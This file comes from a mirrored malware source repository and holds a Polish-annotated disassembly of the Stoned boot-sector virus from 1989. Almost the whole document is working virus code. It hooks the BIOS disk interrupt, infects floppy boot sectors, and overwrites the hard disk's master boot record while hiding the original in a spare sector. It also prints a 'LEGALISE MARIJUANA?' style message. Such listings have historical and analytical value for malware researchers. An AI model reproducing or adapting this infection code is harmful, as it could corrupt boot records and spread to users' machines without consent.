mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
286 lines
12 KiB
NASM
286 lines
12 KiB
NASM
;----------------------------------------------------------------------------
|
||
; Wirus dostarczony Grzegorzowi Eiderowi do redakcji KOMPUTERA w po’owie
|
||
; listopada 1989. Dostawc† jest u§ytkownik z Wiednia:
|
||
;
|
||
; Karol Grabski
|
||
; Vien
|
||
; Krummgasse 3/18
|
||
; tel. 7133735
|
||
;
|
||
; SCAN 0.4V35 identyfikuje go jako: STONED VIRUS
|
||
; Wirus ma spolszczony komunikat! Oryginalny jest chyba d’u§szy i nawi†zuje
|
||
; do legalizacji marihuany
|
||
;
|
||
; Na dyskietce wirus rezyduje w boot sector, oryginalny boot sektor chowa do
|
||
; ostatniego sektora zajmowanego przez katalog g’˘wny dyskietki.
|
||
; Na dysku twardym wirus rezyduje w master boot sektor twardego dysku a
|
||
; orygina’ chowa do 7 sektora žcie§ki 0, strona 0 (czyli poza zasi‘giem DOS)
|
||
;-----------------------------------------------------------------------------
|
||
|
||
; PostaŤ wirusa bezpožrednio po wczytaniu do pami‘ci z dyskietki
|
||
|
||
; bajty identyfikuj†ce wirusa (w jego w’asnym autotežcie)
|
||
|
||
07C0:0000 EA0500C007 JMP 07C0:0005 ; skok do nast‘pnej instrukcji
|
||
07C0:0005 E99900 JMP 00A1
|
||
|
||
; normalnie w tym obszarze s† dane dyskietki, ten wirus, jak widaŤ, tym si‘
|
||
; nie przejmuje i traktuje ten obszar jako roboczy
|
||
|
||
07C0:0008 00 ; flaga 0 - oznacza start z dyskietki, 2 - z twardego
|
||
07C0:0009 69 A0 00 F0 ; oryginalny adres INT 13h
|
||
07C0:000D E4 00 80 9F ; adres wirusa w pami‘ci operacyjnej
|
||
07C0:0011 00 7C 00 00 ; address of boot sector in memory
|
||
|
||
;-------------------------------------------------------
|
||
; Nowa obs’uga INT 13h
|
||
;-------------------------------------------------------
|
||
|
||
07C0:0015 1E PUSH DS
|
||
07C0:0016 50 PUSH AX
|
||
07C0:0017 80FC02 CMP AH,02 ; poni§ej 'odczyt sektora'
|
||
07C0:001A 7217 JB 0033 ; nieciekawa funkcja
|
||
|
||
07C0:001C 80FC04 CMP AH,04 ; powy§ej 'zapis sektora'
|
||
07C0:001F 7312 JAE 0033 ; nieciekawa funkcja
|
||
|
||
07C0:0021 0AD2 OR DL,DL ; nr dysku
|
||
07C0:0023 750E JNZ 0033 ; r˘§ny od A
|
||
|
||
07C0:0025 33C0 XOR AX,AX
|
||
07C0:0027 8ED8 MOV DS,AX
|
||
07C0:0029 A03F04 MOV AL,[043F] ; diskette drive motor status
|
||
07C0:002C A801 TEST AL,01 ; motor 1 on
|
||
07C0:002E 7503 JNZ 0033 ; nie tym razem
|
||
07C0:0030 E80700 CALL 003A
|
||
07C0:0033 58 POP AX
|
||
07C0:0034 1F POP DS
|
||
07C0:0035 2E CS:
|
||
07C0:0036 FF2E0900 JMP FAR [0009] ; oryginalne INT 13h
|
||
|
||
07C0:003A 53 PUSH BX ; przechowaj rejestry
|
||
07C0:003B 51 PUSH CX
|
||
07C0:003C 52 PUSH DX
|
||
07C0:003D 06 PUSH ES
|
||
07C0:003E 56 PUSH SI
|
||
07C0:003F 57 PUSH DI
|
||
|
||
07C0:0040 BE0400 MOV SI,0004 ; licznik pr˘b
|
||
07C0:0043 B80102 MOV AX,0201 ; odczyt sektora
|
||
07C0:0046 0E PUSH CS
|
||
07C0:0047 07 POP ES
|
||
07C0:0048 BB0002 MOV BX,0200 ; za w’asny kod
|
||
07C0:004B 33C9 XOR CX,CX
|
||
07C0:004D 8BD1 MOV DX,CX
|
||
07C0:004F 41 INC CX ; boot sektor dysku A ?
|
||
07C0:0050 9C PUSHF
|
||
07C0:0051 2E CS:
|
||
07C0:0052 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
|
||
07C0:0056 730E JAE 0066 ; odczyt udany
|
||
|
||
07C0:0058 33C0 XOR AX,AX ; resetuj dysk
|
||
07C0:005A 9C PUSHF
|
||
07C0:005B 2E CS:
|
||
07C0:005C FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
|
||
07C0:0060 4E DEC SI
|
||
07C0:0061 75E0 JNZ 0043 ; ponawiaj pr˘b‘ odczytu
|
||
|
||
07C0:0063 EB35 JMP 009A ; wycofujemy si‘
|
||
07C0:0065 90 NOP
|
||
|
||
07C0:0066 33F6 XOR SI,SI ; sprawd¦ czy zainfekowany?
|
||
07C0:0068 BF0002 MOV DI,0200
|
||
07C0:006B FC CLD
|
||
07C0:006C 0E PUSH CS
|
||
07C0:006D 1F POP DS
|
||
07C0:006E AD LODSW
|
||
07C0:006F 3B05 CMP AX,[DI]
|
||
07C0:0071 7506 JNZ 0079 ; jeszcze nie
|
||
|
||
07C0:0073 AD LODSW
|
||
07C0:0074 3B4502 CMP AX,[DI+02]
|
||
07C0:0077 7421 JZ 009A ; wycofuj si‘
|
||
|
||
; infekcja dyskietki
|
||
|
||
07C0:0079 B80103 MOV AX,0301 ; zapisuj sektor na dysk
|
||
07C0:007C BB0002 MOV BX,0200 ; z ES:BX
|
||
07C0:007F B103 MOV CL,03 ; do sektora 3
|
||
07C0:0081 B601 MOV DH,01 ; na stronie 1
|
||
07C0:0083 9C PUSHF ; czyli ostatni sektor zajmowany
|
||
07C0:0084 2E CS: ; przez 'root directory'
|
||
07C0:0085 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
|
||
07C0:0089 720F JB 009A
|
||
|
||
07C0:008B B80103 MOV AX,0301 ; zapisuj sektor na dysk
|
||
07C0:008E 33DB XOR BX,BX ; ES:0 czyli wirusa
|
||
07C0:0090 B101 MOV CL,01 ; sektor 0
|
||
07C0:0092 33D2 XOR DX,DX ; strona 0 dysk 0
|
||
07C0:0094 9C PUSHF ; czyli jako nowy 'boot sector'
|
||
07C0:0095 2E CS:
|
||
07C0:0096 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h
|
||
|
||
07C0:009A 5F POP DI ; koniec žwi¤stw
|
||
07C0:009B 5E POP SI
|
||
07C0:009C 07 POP ES
|
||
07C0:009D 5A POP DX
|
||
07C0:009E 59 POP CX
|
||
07C0:009F 5B POP BX
|
||
07C0:00A0 C3 RET
|
||
|
||
;----------------------------------------
|
||
; kod startowy wirusa
|
||
;----------------------------------------
|
||
|
||
07C0:00A1 33C0 XOR AX,AX ; inicjuj rejestry i stos
|
||
07C0:00A3 8ED8 MOV DS,AX
|
||
07C0:00A5 FA CLI
|
||
07C0:00A6 8ED0 MOV SS,AX
|
||
07C0:00A8 BC007C MOV SP,7C00
|
||
|
||
07C0:00AB FB STI
|
||
07C0:00AC A14C00 MOV AX,[004C] ; odczyt wektora INT 13h
|
||
07C0:00AF A3097C MOV [7C09],AX
|
||
07C0:00B2 A14E00 MOV AX,[004E]
|
||
07C0:00B5 A30B7C MOV [7C0B],AX
|
||
07C0:00B8 A11304 MOV AX,[0413] ; rozmiar pami‘ci operacyjnej w KB
|
||
07C0:00BB 48 DEC AX ; szykuj miejsce dla wirusa
|
||
07C0:00BC 48 DEC AX
|
||
07C0:00BD A31304 MOV [0413],AX ; informacja dla DOS
|
||
|
||
07C0:00C0 B106 MOV CL,06 ; przelicz na paragrafy
|
||
07C0:00C2 D3E0 SHL AX,CL
|
||
07C0:00C4 8EC0 MOV ES,AX ; segment wirusa
|
||
07C0:00C6 A30F7C MOV [7C0F],AX ; zapami‘taj segment wirusa
|
||
07C0:00C9 B81500 MOV AX,0015 ; offset nowej obs’ugi INT 13h
|
||
07C0:00CC A34C00 MOV [004C],AX
|
||
07C0:00CF 8C064E00 MOV [004E],ES ; segment nowej obs’ugi INT 13h
|
||
|
||
07C0:00D3 B9B801 MOV CX,01B8 ; przesu¤ kod wirusa
|
||
07C0:00D6 0E PUSH CS ; ma to na celu instalacj‘
|
||
07C0:00D7 1F POP DS ; cz‘žci rezydentnej
|
||
07C0:00D8 33F6 XOR SI,SI ; w ko¤cu pami‘ci operacyjnej
|
||
07C0:00DA 8BFE MOV DI,SI
|
||
07C0:00DC FC CLD
|
||
07C0:00DD F3 REPZ
|
||
07C0:00DE A4 MOVSB
|
||
07C0:00DF 2E CS:
|
||
07C0:00E0 FF2E0D00 JMP FAR [000D] ; skok do przesuni‘tego kodu
|
||
|
||
; czyli tutaj
|
||
|
||
07C0:00E4 B80000 MOV AX,0000 ; resetuj dysk
|
||
07C0:00E7 CD13 INT 13
|
||
|
||
07C0:00E9 33C0 XOR AX,AX ; zeruj ES
|
||
07C0:00EB 8EC0 MOV ES,AX
|
||
07C0:00ED B80102 MOV AX,0201 ; czytaj 1 sektor
|
||
07C0:00F0 BB007C MOV BX,7C00 ; do ES:BX (0:7C00)
|
||
07C0:00F3 2E CS:
|
||
07C0:00F4 803E080000 CMP BYTE PTR [0008],00 ;test flagi (z dyskietki?)
|
||
07C0:00F9 740B JZ 0106 ; sprawdzaj flopa
|
||
|
||
07C0:00FB B90700 MOV CX,0007 ; numer sektora ze strony 0
|
||
07C0:00FE BA8000 MOV DX,0080 ; pierwszy twardy dysk
|
||
07C0:0101 CD13 INT 13 ; tam jest oryginalny boot sektor
|
||
07C0:0103 EB49 JMP 014E ; koniec dzia’alnožci wirusa
|
||
07C0:0105 90 NOP
|
||
|
||
07C0:0106 B90300 MOV CX,0003 ; sektor nr 3 žcie§ka 0
|
||
07C0:0109 BA0001 MOV DX,0100 ; strona 1 dysk nr 0 (A)
|
||
07C0:010C CD13 INT 13
|
||
07C0:010E 723E JB 014E ; koniec dzia’alnožci wirusa
|
||
|
||
;-----------------------------------------------------------------
|
||
; komunikat "Tw˘j PC jest teraz be!" wraz z sygna’em d¦wi‘kowym
|
||
;-----------------------------------------------------------------
|
||
|
||
07C0:0110 26 ES:
|
||
07C0:0111 F6066C0407 TEST BYTE PTR [046C],07 ; m’odsze s’owo zegara
|
||
07C0:0116 7512 JNZ 012A ; pomijaj komunikat
|
||
|
||
07C0:0118 BE8901 MOV SI,0189 ; adres komunikatu
|
||
07C0:011B 0E PUSH CS
|
||
07C0:011C 1F POP DS
|
||
|
||
07C0:011D AC LODSB ; drukowanie komunikatu (ASCIIZ)
|
||
07C0:011E 0AC0 OR AL,AL
|
||
07C0:0120 7408 JZ 012A
|
||
|
||
07C0:0122 B40E MOV AH,0E ; write character (TTY mode)
|
||
07C0:0124 B700 MOV BH,00 ; numer strony video
|
||
07C0:0126 CD10 INT 10
|
||
07C0:0128 EBF3 JMP 011D ; pobierz nast‘pny znak
|
||
|
||
;---------------------------------------------------
|
||
; kontrola czy twardy dysk systemowy jest czysty?
|
||
;---------------------------------------------------
|
||
|
||
07C0:012A 0E PUSH CS
|
||
07C0:012B 07 POP ES
|
||
07C0:012C B80102 MOV AX,0201 ; czytaj 1 sektor dysku
|
||
07C0:012F BB0002 MOV BX,0200 ; do ES:BX za wirusa
|
||
07C0:0132 B101 MOV CL,01 ; numer sektora
|
||
07C0:0134 BA8000 MOV DX,0080 ; pierwszy twardy dysk, strona 0
|
||
07C0:0137 CD13 INT 13
|
||
07C0:0139 7213 JB 014E ; problemy!
|
||
|
||
07C0:013B 0E PUSH CS ; sprawdzaj czy ju§ zainfekowany
|
||
07C0:013C 1F POP DS
|
||
07C0:013D BE0002 MOV SI,0200
|
||
07C0:0140 BF0000 MOV DI,0000
|
||
07C0:0143 AD LODSW
|
||
07C0:0144 3B05 CMP AX,[DI]
|
||
07C0:0146 7511 JNZ 0159
|
||
|
||
07C0:0148 AD LODSW
|
||
07C0:0149 3B4502 CMP AX,[DI+02]
|
||
07C0:014C 750B JNZ 0159
|
||
|
||
;-----------------------------------------------------
|
||
; koniec akcji, kontynuuj w’ažciwy bootstrap
|
||
;-----------------------------------------------------
|
||
|
||
07C0:014E 2E CS:
|
||
07C0:014F C606080000 MOV BYTE PTR [0008],00 ; flaga 'z dyskietki'
|
||
07C0:0154 2E CS:
|
||
07C0:0155 FF2E1100 JMP FAR [0011] ; kontynuuj bootstrap
|
||
|
||
;------------------------------------------------
|
||
; infekuj pierwszy twardy dysk
|
||
;------------------------------------------------
|
||
|
||
07C0:0159 2E CS:
|
||
07C0:015A C606080002 MOV BYTE PTR [0008],02 ; flaga 'z twardego'
|
||
07C0:015F B80103 MOV AX,0301 ; zapisz 1 sektor dyskowy
|
||
07C0:0162 BB0002 MOV BX,0200 ; ES:BX sk†d
|
||
07C0:0165 B90700 MOV CX,0007 ; do sektora nr 7
|
||
07C0:0168 BA8000 MOV DX,0080 ; strona 0 pierwszego dysku twardego
|
||
07C0:016B CD13 INT 13
|
||
07C0:016D 72DF JB 014E ; problemy!
|
||
|
||
07C0:016F 0E PUSH CS ; uzupe’nij wirusa wczytanym kodem
|
||
07C0:0170 1F POP DS ; czyli tablicami partycji dysku
|
||
07C0:0171 0E PUSH CS
|
||
07C0:0172 07 POP ES
|
||
07C0:0173 BEBE03 MOV SI,03BE
|
||
07C0:0176 BFBE01 MOV DI,01BE
|
||
07C0:0179 B94202 MOV CX,0242
|
||
07C0:017C F3 REPZ
|
||
07C0:017D A4 MOVSB
|
||
07C0:017E B80103 MOV AX,0301 ; zapisz na dysk
|
||
07C0:0181 33DB XOR BX,BX ; ES:0 sk†d (ca’y wirus)
|
||
07C0:0183 FEC1 INC CL ; CL := 1 numer sektora
|
||
07C0:0185 CD13 INT 13
|
||
07C0:0187 EBC5 JMP 014E ; koniec
|
||
|
||
07C0:0189 07 54 77 A2 6A 20 50 .Tw˘j P
|
||
07C0:0190 43 20 6A 65 73 74 20 74-65 72 61 7A 20 62 65 21 C jest teraz be!
|
||
07C0:01A0 07 0D 0A 0A 00 4C 45 47-41 4C 49 53 45 20 4D 41 .....LEGALISE MA
|
||
07C0:01B0 52 49 4A 55 41 4E 41 3F-00 00 00 00 00 00 00 00 RIJUANA?........
|
||
* 0004 Lines Of 00 Skipped *
|
||
07C0:0200 00 00 00 00 00 00 00 00-00 .........
|
||
|
||
; Brak oznakowania ko¤ca sektora! (55AA)
|
||
|